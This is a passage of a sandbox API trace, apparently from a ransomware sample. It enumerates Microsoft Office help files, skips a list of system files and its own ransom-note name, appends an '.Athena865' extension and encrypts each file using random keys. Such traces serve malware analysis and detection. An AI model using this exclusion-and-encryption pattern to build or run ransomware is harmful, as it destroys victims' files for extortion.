(hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.129] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.129] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.129] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.130] CloseHandle (hObject=0x154) returned 1 [0148.130] CloseHandle (hObject=0x17c) returned 1 [0148.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0148.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.130] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.130] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa724d200, ftCreationTime.dwHighDateTime=0x1ca5059, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa724d200, ftLastWriteTime.dwHighDateTime=0x1ca5059, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_PRM_K_COL.HXK", cAlternateFileName="VISIO_~4.HXK")) returned 1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2=".") returned 1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2="..") returned 1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2="windows") returned -1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2="bootmgr") returned 1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2="temp") returned 1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2="pagefile.sys") returned 1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2="boot") returned 1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2="ids.txt") returned 1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2="ntuser.dat") returned 1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2="perflogs") returned 1 [0148.130] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2="MSBuild") returned 1 [0148.130] lstrlenW (lpString="VISIO_PRM_K_COL.HXK") returned 19 [0148.130] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_PRM_K_COL.HXK" | out: lpString1="VISIO_PRM_K_COL.HXK") returned="VISIO_PRM_K_COL.HXK" [0148.131] lstrlenW (lpString="VISIO_PRM_K_COL.HXK") returned 19 [0148.131] lstrlenW (lpString="Athena865") returned 9 [0148.131] lstrcmpiW (lpString1="K_COL.HXK", lpString2="Athena865") returned 1 [0148.131] lstrlenW (lpString=".dll") returned 4 [0148.131] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2=".dll") returned 1 [0148.131] lstrlenW (lpString=".lnk") returned 4 [0148.131] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2=".lnk") returned 1 [0148.131] lstrlenW (lpString=".ini") returned 4 [0148.131] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2=".ini") returned 1 [0148.131] lstrlenW (lpString=".sys") returned 4 [0148.131] lstrcmpiW (lpString1="VISIO_PRM_K_COL.HXK", lpString2=".sys") returned 1 [0148.131] lstrlenW (lpString="VISIO_PRM_K_COL.HXK") returned 19 [0148.131] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.Athena865") returned 77 [0148.131] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.athena865"), dwFlags=0x1) returned 1 [0148.133] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0148.133] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=113) returned 1 [0148.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0148.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.133] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.134] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.134] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.134] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x380, lpName=0x0) returned 0x154 [0148.139] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x380) returned 0x100000 [0148.139] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.140] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.140] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.140] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.140] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.141] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.141] CloseHandle (hObject=0x154) returned 1 [0148.141] CloseHandle (hObject=0x17c) returned 1 [0148.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0148.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.141] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.141] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x94d40e00, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x94d40e00, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x26745e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_STD.HXS", cAlternateFileName="VISIO_~2.HXS")) returned 1 [0148.141] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.141] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.141] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2=".") returned 1 [0148.141] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2="..") returned 1 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2="windows") returned -1 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2="bootmgr") returned 1 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2="temp") returned 1 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2="pagefile.sys") returned 1 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2="boot") returned 1 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2="ids.txt") returned 1 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2="ntuser.dat") returned 1 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2="perflogs") returned 1 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2="MSBuild") returned 1 [0148.142] lstrlenW (lpString="VISIO_STD.HXS") returned 13 [0148.142] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_STD.HXS" | out: lpString1="VISIO_STD.HXS") returned="VISIO_STD.HXS" [0148.142] lstrlenW (lpString="VISIO_STD.HXS") returned 13 [0148.142] lstrlenW (lpString="Athena865") returned 9 [0148.142] lstrcmpiW (lpString1="O_STD.HXS", lpString2="Athena865") returned 1 [0148.142] lstrlenW (lpString=".dll") returned 4 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2=".dll") returned 1 [0148.142] lstrlenW (lpString=".lnk") returned 4 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2=".lnk") returned 1 [0148.142] lstrlenW (lpString=".ini") returned 4 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2=".ini") returned 1 [0148.142] lstrlenW (lpString=".sys") returned 4 [0148.142] lstrcmpiW (lpString1="VISIO_STD.HXS", lpString2=".sys") returned 1 [0148.142] lstrlenW (lpString="VISIO_STD.HXS") returned 13 [0148.142] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.Athena865") returned 71 [0148.142] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.athena865"), dwFlags=0x1) returned 1 [0148.144] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0148.144] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=2520158) returned 1 [0148.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.144] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0148.145] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.145] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.145] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.145] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.146] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x267760, lpName=0x0) returned 0x154 [0148.155] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x200000, dwNumberOfBytesToMap=0x67760) returned 0x2bb0000 [0148.286] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.286] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.286] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.287] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0148.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0148.287] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.287] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0148.291] CloseHandle (hObject=0x154) returned 1 [0148.291] CloseHandle (hObject=0x17c) returned 1 [0148.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0148.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.301] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c67200, ftCreationTime.dwHighDateTime=0x1c9ff32, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1c67200, ftLastWriteTime.dwHighDateTime=0x1c9ff32, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_STD_COL.HXC", cAlternateFileName="VISIO_~3.HXC")) returned 1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2=".") returned 1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2="..") returned 1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2="windows") returned -1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2="bootmgr") returned 1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2="temp") returned 1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2="pagefile.sys") returned 1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2="boot") returned 1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2="ids.txt") returned 1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2="ntuser.dat") returned 1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2="perflogs") returned 1 [0148.301] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2="MSBuild") returned 1 [0148.301] lstrlenW (lpString="VISIO_STD_COL.HXC") returned 17 [0148.301] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_STD_COL.HXC" | out: lpString1="VISIO_STD_COL.HXC") returned="VISIO_STD_COL.HXC" [0148.301] lstrlenW (lpString="VISIO_STD_COL.HXC") returned 17 [0148.302] lstrlenW (lpString="Athena865") returned 9 [0148.302] lstrcmpiW (lpString1="D_COL.HXC", lpString2="Athena865") returned 1 [0148.302] lstrlenW (lpString=".dll") returned 4 [0148.302] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2=".dll") returned 1 [0148.302] lstrlenW (lpString=".lnk") returned 4 [0148.302] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2=".lnk") returned 1 [0148.302] lstrlenW (lpString=".ini") returned 4 [0148.302] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2=".ini") returned 1 [0148.302] lstrlenW (lpString=".sys") returned 4 [0148.302] lstrcmpiW (lpString1="VISIO_STD_COL.HXC", lpString2=".sys") returned 1 [0148.302] lstrlenW (lpString="VISIO_STD_COL.HXC") returned 17 [0148.302] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.Athena865") returned 75 [0148.302] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.athena865"), dwFlags=0x1) returned 1 [0148.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXC.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxc.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0148.305] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=641) returned 1 [0148.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0148.305] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.306] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0148.306] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0148.306] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.306] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x590, lpName=0x0) returned 0x154 [0148.308] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x590) returned 0x100000 [0148.309] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0148.310] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0148.310] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0148.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0148.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0148.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0148.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0148.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0148.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0148.310] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0148.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0148.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0148.310] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0148.310] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0148.310] CloseHandle (hObject=0x154) returned 1 [0148.311] CloseHandle (hObject=0x17c) returned 1 [0148.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0148.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0148.311] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0148.311] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb770e200, ftCreationTime.dwHighDateTime=0x1c5aeb1, ftLastAccessTime.dwLowDateTime=0x52060500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb770e200, ftLastWriteTime.dwHighDateTime=0x1c5aeb1, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VISIO_STD_COL.HXT", cAlternateFileName="VISIO_~3.HXT")) returned 1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2=".") returned 1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2="..") returned 1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2="windows") returned -1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2="bootmgr") returned 1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2="temp") returned 1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2="pagefile.sys") returned 1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2="boot") returned 1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2="ids.txt") returned 1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2="ntuser.dat") returned 1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2="perflogs") returned 1 [0148.311] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2="MSBuild") returned 1 [0148.311] lstrlenW (lpString="VISIO_STD_COL.HXT") returned 17 [0148.311] lstrcpyW (in: lpString1=0x241e8a8, lpString2="VISIO_STD_COL.HXT" | out: lpString1="VISIO_STD_COL.HXT") returned="VISIO_STD_COL.HXT" [0148.311] lstrlenW (lpString="VISIO_STD_COL.HXT") returned 17 [0148.312] lstrlenW (lpString="Athena865") returned 9 [0148.312] lstrcmpiW (lpString1="D_COL.HXT", lpString2="Athena865") returned 1 [0148.312] lstrlenW (lpString=".dll") returned 4 [0148.312] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2=".dll") returned 1 [0148.312] lstrlenW (lpString=".lnk") returned 4 [0148.312] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2=".lnk") returned 1 [0148.312] lstrlenW (lpString=".ini") returned 4 [0148.312] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2=".ini") returned 1 [0148.312] lstrlenW (lpString=".sys") returned 4 [0148.312] lstrcmpiW (lpString1="VISIO_STD_COL.HXT", lpString2=".sys") returned 1 [0148.312] lstrlenW (lpString="VISIO_STD_COL.HXT") returned 17 [0148.312] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.Athena865") returned 75 [0148.312] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.athena865"), dwFlags=0x1) returned 1 [0148.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD_COL.HXT.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std_col.hxt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0148.314] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=209) returned 1 [0148.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0148.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0148.314] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0148.314] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 